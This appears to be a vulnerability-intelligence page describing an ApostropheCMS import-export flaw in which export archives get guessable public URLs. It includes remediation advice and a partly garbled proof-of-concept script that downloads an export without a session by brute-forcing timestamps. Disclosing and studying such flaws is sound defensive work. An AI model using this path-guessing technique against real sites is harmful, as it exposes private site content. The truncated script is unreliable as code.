KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 07:21 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-112953

ApostropheCMS: Exposure of Sensitive Information via predictable export filenames

When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`.

Published Updated

At a glance

Exploited
Not known
Severity
6.0 Medium (CVSS 4.0)
Chance of exploitation
0.6% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-5gc8-frw3-3vqm (opens a new tab)

What happened

## Summary

When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.

Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.

Sites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.

Continue reading

Import-only workflows and imports themselves are out of scope; this is specific to the export download URL.

## Affected configurations

All of the following must apply:

1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and** 2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).

If export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.

## Remediation

- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or** - Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or** - Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).

### Details

## Technical details

`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:

```javascript const date = dayjs().format('YYYYMMDDHHmmss'); const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`; const downloadPath = path.join('/exports', filename); await copyIn(filepath, downloadPath); ```

The admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.

## Proof of concept

The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure.

**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.

```bash #!/usr/bin/env bash set -euo pipefail

# --- config --- APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}" if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2 exit 1 fi

export APOS_TEST_DB_PROTOCOL=sqlite cd "${APOSTROPHE_ROOT}/packages/import-export"

# --- run embedded PoC (no extra repo files) --- node { let apos; const shortName = 'poc-export-site'; const exportsPath = (root) => path.join(root, 'public/uploads/exports');

try { apos = await t.

create({ root: module, testModule: true, shortName, modules: { '@apostrophecms/express': { options: { session: { secret: 'poc-export-secret' } } }, '@apostrophecms/import-export': { options: { importExport: { export: { expiration: 60 * 1000 } } } }, '@apostrophecms/uploadfs': { options: { storage: 'local' } }, 'home-page': { extend: '@apostrophecms/page-type' }, article: { extend: '@apostrophecms/piece-type', options: { alias: 'article', autopublish: true } } } });

const importExport = apos.modules['@apostrophecms/import-export']; const req = apos.task.getReq(); await apos.article.insert(req, { ...apos.article.newInstance(), title: 'GHSA PoC confidential piece' });

const articles = await apos.article.find(req).toArray(); assert.ok(articles.length > 0);

const exportStartedAt = dayjs(); req.body = { _ids: articles.map((d) => d._id), formatName: 'gzip', type: 'article' };

const { url: downloadUrl } = await importExport.export(req, apos.article); const fileName = path.basename(downloadUrl); const prefix = `${shortName}-article-export-`; assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));

const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length); const onDisk = path.join(exportsPath(apos.rootDir), fileName); assert.ok(require('node:fs').existsSync(onDisk));

const anon = await apos.http.get(downloadUrl, { fullResponse: true }); assert.equal(anon.status, 200); assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);

let bruteForced = null; const center = exportStartedAt.startOf('second'); for (let offset = -3; offset 100);

console.log('OK: unauthenticated download', { fileName, bruteForced, bytes: bytes.byteLength, listenUrl: base }); } finally { if (apos) { await t.destroy(apos); } } })().catch((err) => { console.error(err); process.exit(1); }); NODE ```

**Expected output:** a line similar to `OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: , listenUrl: 'http://127.0.0.1:…' }`

## Impact

- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata,

Affected package ranges reported by GitHub: @apostrophecms/import-export: < 3.7.1

Scores and how they were measured

CVSS base severity

6.0

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.6%

Scored Percentile 46.2%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-5gc8-frw3-3vqm (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112953, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). ApostropheCMS: Exposure of Sensitive Information via predictable export filenames (CVE-2026-112953). https://kevwire.com/record/CVE-2026-112953

MLA

"ApostropheCMS: Exposure of Sensitive Information via predictable export filenames (CVE-2026-112953)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-112953.

Chicago

KEVWire. "ApostropheCMS: Exposure of Sensitive Information via predictable export filenames (CVE-2026-112953)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-112953.

Evidence summary (plain text)

ApostropheCMS: Exposure of Sensitive Information via predictable export filenames (Oct 21, 2026).
When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.

Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-5gc8-frw3-3vqm).
EPSS 0.6% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-5gc8-frw3-3vqm: https://github.com/advisories/GHSA-5gc8-frw3-3vqm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-26
Record ID: CVE-2026-112953.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail